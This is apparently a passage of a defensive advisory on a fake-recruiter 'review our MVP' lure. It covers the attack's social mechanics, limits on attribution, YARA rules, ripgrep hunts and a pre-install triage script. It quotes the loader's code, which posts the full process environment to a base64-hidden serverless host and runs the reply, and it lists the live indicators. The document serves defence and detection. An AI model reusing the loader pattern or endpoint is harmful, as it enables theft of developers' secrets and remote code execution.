3. Asymmetric disposability. Only the GitLab namespace and the serverless endpoint are operator-controlled and disposable, and burning them costs nothing. Borrowed identities are permanent, free credibility that re-attaches to the next disposable repository at zero cost.
4. Search poisoning. Searching the repository's own brand converges on nothing incriminating, because it is a null name. Searching the other names returns real entities. The candidate's search never converges on a warning.
5. It defeats the standard advice. Published anti-recruitment-fraud guidance is "verify the company exists, check the domain, look at the LinkedIn page". Every one of those returns green here. The advice that would have worked, verify through a channel the sender did not supply, is precisely what this construction evades, because the sender supplies every channel.

7.4 Why a candidate cannot easily notice the substitution mid-conversation

[Inferred]

• Name-shape collision. All of the names sit in one semantic neighbourhood: real estate plus fintech plus tokenisation. Human name-matching is fuzzy and charitable, and the discrepancies read as ordinary branding drift: a rebrand, a product name versus a legal name, a platform versus its parent. The candidate's prior that early-stage startups have messy naming actively explains the discrepancy away rather than flagging it.
• The stated context pre-licences every inconsistency. "Pre-launch MVP", "stealth", "internal codename" are unremarkable. Everything defective about the repository, the commented-out database connection, the non-functional application, the single squashed commit, the missing lockfile, the Vite script tag in a CRA project, is pre-explained by the frame the candidate was handed before they opened it.
• The ask arrives inside a social sequence that suppresses verification. A meeting is scheduled, the task is to be ready for it, the window is short, and declining to run the code reads as being difficult with a prospective employer. Verification becomes socially expensive at exactly the moment it becomes necessary.
• The substitution is never asserted. Nobody said "I work for that company." A link was supplied. There is no false statement for the candidate to catch, which is also, precisely, why this advisory cannot and does not assert deception by any named company.
• Evidence asymmetry. Confirming that a company exists costs thirty seconds. Confirming that a given person is authorised to recruit for it requires an out-of-band channel the candidate has no reason to believe is needed.

Section 8Assessment and confidence

Observed and inferred are kept in separate tables on purpose. Nothing in the first table depends on our reasoning; nothing in the second is presented as fact.

8.1 Observed and corroborated

8.2 Inferred, and what would settle each one

8.3 A note on the pattern literature, and why we do not adopt its attribution

Published research by several vendors describes campaigns of the same shape as this one: fake recruiter approaches, repositories supplied for "review", base64-hidden endpoints in server/config/, serverless payload hosts, and remote-code execution through Function.constructor. Some of that research attributes those campaigns to a specific nation-state actor.

We do not adopt that attribution, and this advisory makes none. We cite the literature as pattern context only. Techniques are not identities: kits of this sort are copied, sold and reused by unrelated operators, and this sample contains no artifact that distinguishes one operator from another. There is no known malware family string in it, no port-1224 beacon, no blockchain-staged payload, and no .vscode/tasks.json abuse. Settling attribution would require the second stage, infrastructure overlap with a known cluster, or persona linkage. We have none of the three.

The specific sources we rely on for pattern context, with what each actually supports:

• NVISO, November 13, 2025 (Updated June 2, 2026), https://blog.nviso.eu/2025/11/13/contagious-interview-actors-now-utilize-json-storage-services-for-malware-delivery/. Documents a campaign which it says typically opens with a fake recruiter, though its specific documented approach used a fake medical director, and which offered work on what it describes as a next-generation realtor platform. Its payload configuration sat in server/config/.config.env as "a base64-encoded variable that is masqueraded as an API key", imported by a file under server/controllers/. It names malicious GitLab groups including technicalmanager-group/real-esate, real-world-assest-tokenization/goldencity and goldencity-group/goldencity-demo. That is the same decoy sector, the same file layout and the same disguise. It is not the same staging channel: NVISO's variant stages through JSON storage services rather than a serverless endpoint.
• Trend Micro, 2026-04-21, https://www.trendmicro.com/en_us/research/26/d/void-dokkaebi-uses-fake-job-interview-lure-to-spread-malware-via-code-repositories.html. Measured prevalence in a single March 2026 scan: 750 or more infected repositories, 392 malicious tasks.json downloaders plus 131 more, and 101 instances of a commit-tampering tool. Also documents the lure as asking targets to clone from GitHub, GitLab or Bitbucket: "the victim is asked to clone a code repository and review or run it as part of a technical assessment."
• Kaseya/INKY, 2026-06-10, https://www.kaseya.com/blog/phishing-campaigns-abusing-vercels-free-hosting-platform/. Documents abuse of free serverless hosting generally: "instant deployment, no identity verification, valid TLS certificates, high domain reputation and trivial rotation when a subdomain is taken down", with 6,283 or more emails blocked across 2,030 or more organisations between December 2025 and May 2026. These figures describe platform abuse in general, not this campaign's volume.
• CSO Online, 2026-03-12, https://www.csoonline.com/article/4143199/north-korean-fake-it-worker-tradecraft-exposed.html. Reports that GitLab banned 131 accounts in 2025 in connection with campaigns of this family (an unrelated figure; the 131 in the Trend Micro bullet above counts files, not accounts). We cite only that figure to this source. We attempted to read GitLab's own threat-intelligence post directly and received HTTP 403, so we do not attribute any further specifics to GitLab, and we do not cite unofficial mirrors of it.
• A practitioner writeup, 2026-05-04, https://dev.to/vladimirnovick/a-linkedin-recruiter-sent-me-malware-disguised-as-a-pre-interview-code-review-2k3j, describes a LinkedIn recruiter supplying a repository to "review the codebase before the technical interview", with the identical axios.post(api, {...process.env}) plus x-secret-header: secret plus new (Function.constructor)("require", responseData) triple. In that case the second stage was staged through a public Google Doc rather than a *.vercel.app endpoint, so it is not a further sighting of the serverless host in this case. This is a named practitioner's account, not a vendor report, and we cite it as such.

One correction to circulating advice, because it matters and it is wrong for this family: npm install --ignore-scripts does not help here. See Section 2, finding 7.

Section 9What we did not find

Our evidence establishes what one public GitLab repository contained and what its single commit records. It establishes nothing beyond that. Specifically, we did not find, and we do not assert, any of the following.

1. What the second stage does. We hold the payload the endpoint served on 2026-09-08 (Section 4.5). We did not execute it, did not deobfuscate it, and make no claim about its behaviour. Every string in it sits in a rotated lookup table, so a plaintext search of it yields no hosts, paths or file names. Whether it is the same payload served to other victims, whether it varies by source address, and whether it is still being served are all unknown to us.
2. We did not establish who operates the repository. We publish the self-asserted git author metadata because it is embedded in the delivered artifact, and we confirmed it matches the GitLab account's registered address. We did not attempt to identify a real person behind it and we make no allegation against anyone of that name, which may be appropriated.
3. We have no basis to attribute this to any named actor, group, or nation-state, and we make no such claim. See Section 8.3.
4. We do not know how many other people received this approach, or how many ran the code. The reporter received one approach through one channel. We have no visibility into the operator's target list and no means to enumerate it. Only GitLab and LinkedIn hold that.
5. We found no certificate-transparency record for the hostname (crt.sh, 2026-09-08; the service was intermittently returning HTTP 502 when we rechecked, so the negative is not reliably reproducible on demand). We did not obtain a statement from the hosting provider about how project subdomains are certified, so we draw no conclusion about whether certificate transparency can see this class of host.
6. We could not query VirusTotal. No VirusTotal, urlscan, Shodan, AbuseIPDB, Censys, SecurityTrails or GreyNoise API credential was available to us. VirusTotal's verdict on this host is therefore unknown to us, and nobody should assume it is clean.
7. urlscan.io held no public record of the host on 2026-09-08 (https://urlscan.io/api/v1/search/?q=page.domain%3A%22ipcheck-hashed.vercel.app%22 returned total: 0). Anonymous search sees only public scans; unlisted and private submissions are invisible. That is an absence in one source, not evidence that the infrastructure is unknown to the industry. We have not surveyed commercial vendor telemetry or blocklists.
8. We could not search GitLab source code. GitLab's blob search API (https://gitlab.com/api/v4/search?scope=blobs) returns HTTP 401 to anonymous callers, so we could not search for HASHED_URL, ipcheck-hashed or x-secret-header across GitLab. Sibling GitLab-hosted lures are invisible to this research. This is the single largest gap in our coverage.
9. We found no prior public record of this specific lure. Searches for the group name, the GitLab username and the commit email returned nothing relevant in web search, GitHub user search or GitLab project search. Absence in the public indexes we could reach is not absence from the world, and this persona may simply be too new or too low-volume to have been catalogued. Do not use the sample's own identifier names (HASHED_URL, ipLogger, the "HASHED ENDPOINT" comment) as a general hunting signature; they appear to be renamed per lure. Hunt the behaviour instead.
10. We have not diffed this repository against the publicly documented samples it resembles. Our kit-family assessment rests on shared code idioms and host-naming convention, not on file or binary comparison.
11. We did not locate the upstream project the decoy backend was taken from, so "lifted code" is an inference from schema vocabulary and dependency choice, not a proven copy.
12. We found no evidence that RealT, its systems, its accounts, its staff, or its LinkedIn presence were compromised, and none that RealT has any connection to this repository. A third party circulated the URL of a LinkedIn company page that presents itself as RealT. That is the entire extent of RealT's appearance in this matter.
13. We found no public statement by RealT concerning impersonation or fraudulent recruiting in its name, and no live engineering vacancy published by RealT on the job boards we checked. RealT's own website returned HTTP 503 to every retrieval we attempted on 2026-09-08, so we could not read its careers page, its contact page, or its /.well-known/security.txt, and we make no claim about what they contain. We therefore also make no finding as to whether the LinkedIn company page supplied to the reporter is operated by that company, and we have not asked LinkedIn to act against it.
14. We found no evidence connecting thisisreal.io, or any individual named on it, to this repository. The domain was registered on 2024-02-16, roughly two and a half years before the commit, on a five-year term, and carries an independent public footprint. We cannot determine from outside whether its brand was borrowed without its knowledge; we assess that as the more likely reading, and we do not assert it.
15. We cannot establish the state of mind of the LinkedIn account holder, and we have not tried. Account takeover and impersonation are both consistent with what we can see, and both make that person a victim. We did not attempt to contact, identify, or investigate them, and their identifier appears neither in this advisory nor in our indicator feed.
16. We did not verify third-party reported hashes. The file hashes recorded in OSV for the related npm package are reproduced in our indicator feed as third-party reported and unverified; we did not obtain those files.
17. We did not deep-parse the two glTF binaries in the repository as container formats. They were string-scanned and produced no match, but their internal buffers were not examined.
18. Regarding our own organisation: the repository was cloned read-only. npm install, npm start, and every file in it were never executed. No Lifted Holdings credentials, environment, or systems were exposed to this code.

Any reading of this advisory as a finding against RealT, against thisisreal.io, or against the individual whose LinkedIn account carried the approach is reading something we did not write and the evidence does not support. We will update this advisory if any party publishes findings that change it.

Section 10Detection and hunting

10.1 The durable signature is behavioural, not the hostname

The endpoint is the weakest indicator in this case. The kit's documented variants rotate where the address lives: this sample hardcodes it base64-encoded in a config file, one npm variant shadowed it in an environment variable, and a reported repository variant fetched it from an editable public document so the operator could rotate it without a commit. Block the hostname, but hunt the shape.

10.2 YARA

Three rules, printed below exactly as they are published in lh-2026-004.yar. They compile under yara-python 4.5.4 and they match exactly two of the 56 files in this sample: rule 1 fires on server/controllers/auth.controller.js, rule 2 fires on server/config/config.js, and rule 3 fires on both. None of them fires on server/providers/helper.js, which contains atob but no execution primitive. An independent sweep of 439,847 files across a working developer estate, including every local node_modules tree, produced zero matches for rule 1.

Read this before deploying them. These rules match on indicator strings as well as on behaviour, so they will match a threat-intelligence document that quotes them, including this advisory. Each rule carries a $doc_* guard keyed on "LH-2026-" and "Lifted Holdings", and we verified that the guard suppresses a match on the complete advisory and on the rule file itself. The guard is a convenience, not a robustness property. We also verified that it does not suppress a match on an excerpt of the advisory that quotes the code without carrying those two strings, and an attacker who reads this file can embed the marker to evade it. Gate on file type and exclude your document store from scanning; do not rely on the guard.

/*
   lh-2026-004.yar
   LH-2026-004 / Lifted Holdings LLC / LH-IR-2026-0908-PROPFI
   Daniel Wilson Kemp, 2026-09-08.  TLP:CLEAR.

   Detection for the Node.js "review our MVP before the meeting" job-lure
   loader: fourteen lines that POST the whole process environment to a
   base64-hidden endpoint and execute the HTTP response body as Node code
   with require() threaded back in.

   ------------------------------------------------------------------
   READ THIS BEFORE DEPLOYING - THESE RULES MATCH DOCUMENTATION
   ------------------------------------------------------------------
   Rules 2 and 3 match on indicator strings, not only on behaviour. They
   will therefore match this advisory, any IOC feed that quotes it, any
   ticket or wiki page that pastes the base64 literal, and this rule file
   itself. Each rule carries a $doc_* guard keyed on "LH-2026-" and
   "Lifted Holdings" so that your own threat-intelligence document store
   does not light up. That guard is a courtesy for defenders, NOT a
   robustness property: an attacker who reads this file can embed the
   marker to evade it. Gate on file type and exclude your document store
   from scanning. Do not rely on the guard.

   Rule 1 is the durable one. It is behavioural and survives rotation of
   the hostname, the path token, the identifier names and the comments.
   If you deploy only one rule, deploy rule 1.

   Verification performed 2026-09-08: compiled with yara-python 4.5.4;
   rule 1 fires on server/controllers/auth.controller.js of the preserved
   clone, rule 2 fires on server/config/config.js, and rule 3 fires on both;
   an independent sweep of 439,847 files across a working developer estate,
   including every local node_modules tree, produced 0 matches for rule 1.
*/

rule JOBLURE_NodeJS_EnvExfil_FunctionCtor_Loader
{
    meta:
        author      = "Daniel Wilson Kemp, Lifted Holdings LLC"
        advisory    = "LH-2026-004"
        reference   = "LH-IR-2026-0908-PROPFI"
        date        = "2026-09-08"
        description = "Node.js loader that POSTs the whole process environment to a remote endpoint and executes the HTTP response with require() injected. Behavioural: does NOT depend on the C2 hostname, path token or identifier names."
        confidence  = "high"
        tlp         = "clear"

    strings:
        // PRIMITIVE. new Function.constructor("require", <data>) - compiles
        // attacker-supplied text in global scope and hands it a live require,
        // which turns arbitrary text into full Node capability (fs, net,
        // child_process). The regex tolerates the "new (Function.constructor)"
        // parenthesised form that public reporting of this kit also records.
        // FP RISK: negligible. Across every local node_modules tree on the
        // analysis workstation this pattern returned 0 hits.
        $exec_ctor  = /new\s*\(?\s*Function\s*\.\s*constructor\s*\)?\s*\(\s*['"]require['"]/

        // PRIMITIVE. The plainer new Function("require", <data>) spelling.
        // A researcher-maintained collection of preserved samples from this
        // kit family annotates the Function.constructor primitive as dodging
        // a naive grep for `new Function(`, so this string catches the
        // variants that did not bother.
        // FP RISK: negligible, for the same reason as $exec_ctor - the anchor
        // is the literal PARAMETER NAME "require", which legitimate users of
        // new Function() (template compilers, JSONPath, expression evaluators)
        // do not use.
        $exec_fn    = /new\s+Function\s*\(\s*['"]require['"]\s*,/

        // SECOND MARKER. Whole-environment capture, {...process.env}.
        // FP RISK: HIGH ON ITS OWN. 168 files in one ordinary workstation's
        // dependency trees contain this construct. It carries signal ONLY in
        // combination with an execution primitive above. Never hunt on it
        // alone and never promote it to a standalone rule.
        $env_spread = /\{\s*\.\.\.\s*process\s*\.\s*env\s*\}/

        // SECOND MARKER. The static request header this kit family sends, by
        // which the operator separates a real victim from a crawler. It
        // survives rotation of the host, which makes it the most durable
        // NETWORK signature in the case.
        // FP RISK: very low. Not a registered or conventional header name.
        $hdr        = "x-secret-header" nocase

        // SECOND MARKER. atob() applied to an IDENTIFIER rather than to a
        // literal - runtime decoding of a value held in config, which is the
        // concealment step itself. Deliberately does not match atob("...").
        // FP RISK: moderate in browser-side code, low in server-side Node.
        $atob_call  = /atob\s*\(\s*[A-Za-z_$][\w$.]*\s*\)/

        // SECOND MARKER. Base64 of the ASCII "https:/" - the leading bytes of
        // any base64-encoded https URL, i.e. a concealed endpoint on any host.
        // FP RISK: HIGH ON ITS OWN. Occurs in any file embedding a base64 URL,
        // including entirely legitimate data URIs, fixtures and test vectors.
        $b64_https  = "aHR0cHM6Ly"

        // SECOND MARKER. Module-load self-invocation: a function expression
        // closed and immediately called on the same line - "}; ipLogger();".
        // This is what makes the payload a side effect of require() rather
        // than something a reader can see wired into a route.
        // NOT anchored to start-of-line on purpose: an anchored pattern misses
        // "  }; ipLogger();" indented by two spaces, which is enough to defeat
        // it on its own.
        // FP RISK: HIGH ON ITS OWN - ordinary IIFE-adjacent code matches it.
        $selfinvoke = /\}\s*;\s*[A-Za-z_$][\w$]*\s*\(\s*\)\s*;/

        // SCOPE GUARD, not an indicator. Suppresses this advisory, any IOC
        // feed quoting it, and this rule file. See the header note: a
        // convenience, not a security property.
        $doc_a = "LH-2026-"
        $doc_b = "Lifted Holdings"

    condition:
        filesize < 512KB
        and not any of ($doc_*)
        and (
              ( any of ($exec_ctor, $exec_fn)
                and any of ($env_spread, $hdr, $atob_call, $b64_https, $selfinvoke) )
              or ( $env_spread and $hdr )
            )
}

rule JOBLURE_C2_ipcheck_hashed_vercel_app
{
    meta:
        author      = "Daniel Wilson Kemp, Lifted Holdings LLC"
        advisory    = "LH-2026-004"
        reference   = "LH-IR-2026-0908-PROPFI"
        date        = "2026-09-08"
        description = "Indicator rule for the ipcheck-hashed.vercel.app endpoint - plaintext, the committed base64 literal, the hostname at all three base64 byte-phase alignments, and the four known path tokens."
        confidence  = "high"
        tlp         = "clear"
        caveat      = "Indicator rule. Perishable - it dies the moment the operator rotates the host. Rule 1 is the durable detection."

    strings:
        // The operator-controlled hostname in plaintext. Named in at least 21
        // OSV/GHSA advisories between 2026-04-16 and 2026-08-29.
        // FP RISK: essentially zero as a string in code; but see the header
        // note - it WILL match every writeup, feed and ticket about the case.
        $host     = "ipcheck-hashed.vercel.app" nocase

        // The exact base64 literal as committed at server/config/config.js:64.
        // Highest-fidelity content hunt term in the case: greppable without
        // decoding anything, and it cannot occur by accident.
        // FP RISK: zero outside documentation.
        $b64_full = "aHR0cHM6Ly9pcGNoZWNrLWhhc2hlZC52ZXJjZWwuYXBwL2FwaS9hdXRoL2I0ZGFkZDZhMjZkODIwZDA4NTk2"

        // The hostname base64-encoded at byte-phase 0 - the host sitting at an
        // offset that is a multiple of 3 inside a larger blob. The trailing
        // partial group is dropped so the string stays valid mid-blob, i.e.
        // when a path follows the hostname. DERIVED by computation, not
        // observed in any sample we hold.
        // FP RISK: negligible - a 32-character host-specific substring.
        $b64_p0   = "aXBjaGVjay1oYXNoZWQudmVyY2VsLmFw"

        // The hostname base64-encoded at byte-phase 1. DERIVED, not observed.
        // FP RISK: negligible.
        $b64_p1   = "Y2hlY2staGFzaGVkLnZlcmNlbC5h"

        // The hostname base64-encoded at byte-phase 2. This is the alignment
        // that OCCURS in this sample, because "https://" is 8 bytes so the
        // hostname begins at offset 8. It is a substring of $b64_full.
        // FP RISK: negligible.
        $b64_p2   = "cGNoZWNrLWhhc2hlZC52ZXJjZWwuYXBw"

        // Path token in THIS sample. NOT per-victim: it was published as an
        // indicator on 2026-04-16 in MAL-2026-2891 for npm package
        // chai-as-init, months before this lure was delivered. Per-campaign.
        // FP RISK: negligible - 20 hex characters.
        $tok1     = "b4dadd6a26d820d08596"

        // Dominant path token across the family - 17 of the 21 OSV advisories.
        // FP RISK: negligible.
        $tok2     = "6c1d60d35852ef0c05df"

        // Third path token, npm chai-as-sets (MAL-2026-10519, 2026-07-14).
        // FP RISK: negligible.
        $tok3     = "00fbe23fd7efc30639f1"

        // Fourth path convention on the same host (/api/identity/...), seen in
        // a public third-party GitHub repository on 2026-09-08. We make no
        // allegation about who controls that account; it may itself be
        // compromised or fabricated.
        // FP RISK: negligible.
        $tok4     = "1a6e008f91d4ca2566f4"

        // SCOPE GUARD, not an indicator. See the header note.
        $doc_a = "LH-2026-"
        $doc_b = "Lifted Holdings"

    condition:
        filesize < 10MB
        and not any of ($doc_*)
        and any of ($host, $b64_full, $b64_p0, $b64_p1, $b64_p2, $tok1, $tok2, $tok3, $tok4)
}

rule JOBLURE_PropFi_MVP_Sample
{
    meta:
        author      = "Daniel Wilson Kemp, Lifted Holdings LLC"
        advisory    = "LH-2026-004"
        reference   = "LH-IR-2026-0908-PROPFI"
        date        = "2026-09-08"
        description = "Pins the specific PropFi sample and lightly edited copies of it. Requires two independent strings so that a single quoted line cannot trip it."
        confidence  = "high"
        tlp         = "clear"
        caveat      = "Sample-pinning rule. The identifier names in it appear to be renamed per lure, so a variant will evade it. Rule 1 is the durable detection."

    strings:
        // The committed base64 endpoint literal, config.js:64.
        // FP RISK: zero outside documentation.
        $s1 = "aHR0cHM6Ly9pcGNoZWNrLWhhc2hlZC52ZXJjZWwuYXBwL2FwaS9hdXRoL2I0ZGFkZDZhMjZkODIwZDA4NTk2"

        // The verbatim source comment sitting above it, config.js:63. The
        // operator renames identifiers per lure, so treat as sample-specific.
        // FP RISK: zero.
        $s2 = "HASHED ENDPOINT for IP Logger"

        // The loader function name, auth.controller.js:71 - self-invoked at
        // :84 and deliberately absent from module.exports at :123-128.
        // FP RISK: MODERATE. "ipLogger" is a plausible name in benign
        // request-logging middleware. Never use it alone; this rule demands a
        // second independent hit for exactly this reason.
        $s3 = "ipLogger"

        // console.log at auth.controller.js:79, printed AFTER the second stage
        // has already been compiled and executed. The ungrammatical phrasing
        // makes it a low-frequency string.
        // FP RISK: low.
        $s4 = "The request was completed successfully!"

        // console.log at auth.controller.js:82, the .catch branch. Same
        // ungrammatical phrasing, same low frequency.
        // FP RISK: low.
        $s5 = "The request was failed: "

        // The vestigial base64 helper with zero callers, helper.js:19. An
        // identically-named export appears in at least two third-party
        // preserved samples of this kit, which is what makes it a kit
        // fingerprint rather than a coincidence of idiom. The regex covers
        // both the arrow-with-block and concise-arrow spellings.
        // FP RISK: low. "setApiKey" alone is common; setApiKey defined as a
        // bare atob() wrapper is not.
        $s6 = /setApiKey\s*[:=]\s*\(?\s*s\s*\)?\s*=>\s*\{?\s*(return\s+)?atob\s*\(\s*s\s*\)/

        // SCOPE GUARD, not an indicator. See the header note.
        $doc_a = "LH-2026-"
        $doc_b = "Lifted Holdings"

    condition:
        filesize < 512KB
        and not any of ($doc_*)
        and 2 of ($s*)
}

Design notes, including the parts that are weak.

• The "require" parameter-name anchor is what makes rule 1 usable. On the same workstation, new Function('require', and Function.constructor("require" each returned zero hits across every dependency tree present. Legitimate dynamic-code users do not name a parameter require.
• {...process.env} is not rare and must never be hunted alone. In that same sweep it appears in 168 files matching the exact braced form {...process.env}. It carries signal only in combination with the execution primitive. The rule reflects that: $env_spread is only ever a second marker, or is paired with $hdr.
• $b64_https and $selfinvoke are broad by design and must remain second markers. Do not promote either to a standalone condition.
• Rule 1's 512 KB cap means a payload appended to a large minified bundle would be missed. Rule 2 carries a 10 MB cap and covers that case for the hostname strings, but not behaviourally.
• The false-positive corpus is the 439,847 files described above: one workstation's projects and dependency trees. It does not include minified CDN bundles, browser extensions, or the Electron and React Native ecosystems.

10.3 Grep and ripgrep hunts

Each of these fires on the sample. Run them across your estate and across any repository a stranger has asked you to open.

# Execution primitives
rg -n --glob '!node_modules' --glob '!*.min.js' 'Function\s*\.\s*constructor'
rg -n --glob '!node_modules' 'new\s+Function\s*\(\s*["\x27]require["\x27]'

# Whole-environment capture. HIGH FALSE POSITIVE RATE ON ITS OWN.
# Only meaningful when it co-occurs with one of the primitives above.
rg -n --glob '!node_modules' '\{\s*\.\.\.\s*process\.env\s*\}'

# This kit's constant header
rg -n --glob '!node_modules' -i 'x-secret-header'

# The endpoint, plaintext and base64
rg -n --glob '!node_modules' 'ipcheck-hashed'
rg -n --glob '!node_modules' 'aHR0cHM6Ly9pcGNoZWNrLWhhc2hlZC52ZXJjZWwuYXBw'
rg -n --glob '!node_modules' 'b4dadd6a26d820d08596|6c1d60d35852ef0c05df|00fbe23fd7efc30639f1|1a6e008f91d4ca2566f4'

# Runtime base64 decoding of an identifier (not of a literal)
rg -n --glob '!node_modules' -g '*.js' '\batob\s*\(\s*[A-Za-z_$]'

# Module-load self-invocation. NOT anchored to column 1 on purpose:
# an anchored pattern misses "  }; ipLogger();" indented by two spaces,
# which is enough to defeat it. This expression is FP-prone unanchored,
# so READ the hits; do not count them.
rg -n --glob '!node_modules' '\}\s*;\s*[A-Za-z_$][A-Za-z0-9_$]*\s*\(\s*\)\s*;'

Network side. Search proxy, DNS and endpoint-detection logs for the hostname ipcheck-hashed.vercel.app, and for outbound requests carrying the header x-secret-header. That header has no legitimate purpose in ordinary traffic and is the most durable network signature in this case, because it survives rotation of the host.

Dependency side. Sweep lockfiles, CI caches and node_modules archives for the 21 npm package names in Section 10.4. All have been removed from the registry: the ones we sampled at https://registry.npmjs.org/<package> on 2026-09-08 now show only npm's 0.0.1-security security-hold placeholder, or an empty versions list, so a name appearing in your lockfile means the malicious version was once resolvable. Per the published advisories, any host that installed one should be treated as fully compromised.

10.4 The 21 public advisories naming this endpoint

Retrieved from https://api.osv.dev/v1/vulns/<ID> on 2026-09-08. All are npm packages, all now removed from the registry.

Path-token distribution across those 21: 6c1d60d35852ef0c05df in 17, b4dadd6a26d820d08596 in one (chai-as-init, the token in this sample), 00fbe23fd7efc30639f1 in one (chai-as-sets), and two advisories (cookie-phase, chai-as-const) whose text truncates the path. The token behaves as a per-campaign identifier, not a per-target one.

OSV publication dates are when the advisory was filed, not when the package or the host first went live, so the true campaign start is at or before 2026-04-16. A GitHub code search for the hostname returned 22 results on 2026-09-08 - the 21 advisory files above plus one live repository, danxeth436/eSTOKyam, which uses a fourth path convention (/api/identity/...) rather than /api/auth/. GitHub code search indexes only default branches of public repositories and its count reflects the index at query time, so 22 is a floor, not a ceiling.

10.5 Third-party preserved samples of the same kit

Cited so a defender can compare code rather than take our word for it. Each is a repository operated by a third party, retrieved 2026-09-08. We make no allegation about who controls any of these accounts, and preservation repositories are maintained by researchers and victims.

• https://github.com/aka-rider/contagious-interview-malware-do-not-run (server/config/index.js) contains export const setApiKey = (s) => atob(s); and export const verify = (api) => axios.post(api,{ ...process.env },{ headers: { "x-secret-header": "secret" } });.
• https://github.com/eastmade/web3project-momo-token (backend/src/utils/redis.js) contains the identical pair.
• https://github.com/AdarshRouniyar79/silknote-mvp-review (auth/config/index.js) contains an axios.get variant with a base64 blob for a different serverless host.
• https://github.com/xndbogdan/malicious-repositories collects several, including a real-estate "MVP" variant, and annotates the same Function.constructor primitive.
• https://raw.githubusercontent.com/danxeth436/eSTOKyam/HEAD/server/config/constant.js contains the same endpoint hostname at a different path, sitting among genuine blockchain RPC constants. We report the URL as an indicator and make no allegation about who controls that account; the account may itself be compromised or fabricated.

10.6 A pre-install triage script

Static screen for an untrusted repository, to be run before npm install. It reads the repository's files. The only process it starts is node -e to parse package.json; it never runs code from the repository. It fails closed: if ripgrep is not installed, or the target is not a directory, it prints triage did NOT run and exits 2 rather than printing empty sections that read as "clean". It exits 1 when anything is flagged, so it can gate a CI step.

Verified against this sample: section 3 flags auth.controller.js:78, section 4 flags :74, section 5 flags helper.js:19 and :73, section 6 prints the single decoded endpoint URL, section 7 reports one commit and one author, section 8 reports the missing and gitignored lockfile, and section 9 flags :84. Exit code 1. With ripgrep removed from PATH it exits 2 without printing a clean-looking report.

#!/usr/bin/env bash
# repo-triage.sh - static triage of an untrusted repository BEFORE npm install.
# LH-2026-004 / Lifted Holdings LLC.
#
# It reads the repository's files. The only process it starts is `node -e` to
# parse package.json; it never runs code from the repository.
#
# Exit codes:  0 = nothing flagged   1 = something flagged   2 = triage did NOT run
#
# Usage: bash repo-triage.sh /path/to/cloned/repo

set -u
TARGET="${1:-.}"
FLAG=0

command -v rg >/dev/null 2>&1 || {
  echo "FATAL: ripgrep (rg) not found - triage did NOT run. Install ripgrep and re-run."
  exit 2
}
[ -d "$TARGET" ] || { echo "FATAL: '$TARGET' is not a directory - triage did NOT run."; exit 2; }

RG="rg -n --no-heading --glob !node_modules --glob !.git"

echo "=== repo-triage.sh :: $TARGET ==="

echo
echo "--- 1. npm install lifecycle scripts (fire on npm install) ---"
if [ -f "$TARGET/package.json" ] && command -v node >/dev/null 2>&1; then
  node -e '
    const p = require(process.argv[1]);
    const s = p.scripts || {};
    const hooks = ["preinstall","install","postinstall","prepare","prepublish","prepublishOnly"];
    let found = false;
    for (const h of hooks) if (s[h]) { console.log("  " + h + ": " + s[h]); found = true; }
    if (!found) console.log("  none");
  ' "$TARGET/package.json" || echo "  (node parse failed; see grep fallback below)"
fi
$RG '"(pre|post)?install"|"prepare"|"prepublish(Only)?"' "$TARGET/package.json" 2>/dev/null || true

echo
echo "--- 2. run scripts (fire on npm start / dev / build / test) ---"
$RG '"(start|dev|build|test|serve)"\s*:' "$TARGET/package.json" 2>/dev/null || echo "  none"

echo
echo "--- 3. dynamic execution primitives  [ANY HIT => DO NOT INSTALL] ---"
if $RG -e 'Function\s*\.\s*constructor' -e 'new\s+Function\s*\(' -e '\beval\s*\(' \
       -e 'child_process' -e 'execSync|spawnSync|execFile' -e 'vm\.runIn' "$TARGET"; then
  FLAG=1
else
  echo "  none"
fi

echo
echo "--- 4. whole-environment capture  [ANY HIT => DO NOT INSTALL] ---"
if $RG -e '\{\s*\.\.\.\s*process\.env\s*\}' -e 'JSON\.stringify\s*\(\s*process\.env' "$TARGET"; then
  FLAG=1
else
  echo "  none"
fi

echo
echo "--- 5. runtime base64 decoding of an identifier  [ANY HIT => DO NOT INSTALL] ---"
if $RG -e '\batob\s*\(' -e "Buffer\.from\s*\([^,]+,\s*['\"]base64['\"]\s*\)" "$TARGET"; then
  FLAG=1
else
  echo "  none"
fi

echo
echo "--- 6. base64 blobs that decode to a URL  [ANY HIT => DO NOT INSTALL] ---"
while IFS= read -r b; do
  d=$(printf '%s' "$b" | base64 -d 2>/dev/null) || continue
  case "$d" in
    http://*|https://*) echo "  $b"; echo "    -> $d"; FLAG=1 ;;
  esac
done < <($RG -o '[A-Za-z0-9+/]{24,}={0,2}' "$TARGET" 2>/dev/null | sed 's/^.*://' | sort -u)
[ "$FLAG" -eq 1 ] || echo "  none"

echo
echo "--- 7. history depth and author set ---"
if [ -d "$TARGET/.git" ]; then
  echo "  commits: $(git -C "$TARGET" rev-list --count HEAD 2>/dev/null)"
  echo "  authors: $(git -C "$TARGET" log --format='%ae' 2>/dev/null | sort -u | tr '\n' ' ')"
  echo "  root commits: $(git -C "$TARGET" rev-list --max-parents=0 HEAD 2>/dev/null | tr '\n' ' ')"
else
  echo "  no .git directory"
fi

echo
echo "--- 8. lockfile ---"
if ls "$TARGET"/package-lock.json "$TARGET"/yarn.lock "$TARGET"/pnpm-lock.yaml >/dev/null 2>&1; then
  echo "  present"
else
  echo "  MISSING - npm ci is impossible and the installed tree is unreproducible"
  $RG -e 'package-lock\.json' -e 'yarn\.lock' -e 'pnpm-lock\.yaml' "$TARGET/.gitignore" 2>/dev/null \
    && echo "  ...and it is gitignored"
fi

echo
echo "--- 9. module-load self-invocations (FP-prone: READ these, do not count them) ---"
$RG '\}\s*;\s*[A-Za-z_$][A-Za-z0-9_$]*\s*\(\s*\)\s*;' "$TARGET" || echo "  none"

echo
if [ "$FLAG" -eq 1 ]; then
  echo "RESULT: FLAGGED. Do not run npm install or npm start against this repository."
else
  echo "RESULT: nothing flagged by these checks. This is a screen, not a proof."
fi
exit $(( FLAG ? 1 : 0 ))

The script is a screen, not a proof. It detects this kit's shape. An attacker who reads it can evade it with string concatenation, hex or character-code encoding, XOR, or a pointer fetched from a document rather than embedded in the repository. Section 6 will also surface benign encoded assets in repositories that inline data URIs for logos or fonts, so expect noise there and read the output rather than counting it.

Section 11Guidance

11.1 For developers asked to look at someone else's repository

These are actions, not principles. Each one is a thing to do before the next repository link arrives.

1. Read package.json and every file it names, before you install anything. scripts.start, scripts.dev and any lifecycle hook are the first things an attacker controls. In this case the entire attack is reachable from README.md:29 plus package.json:56 plus one require chain.
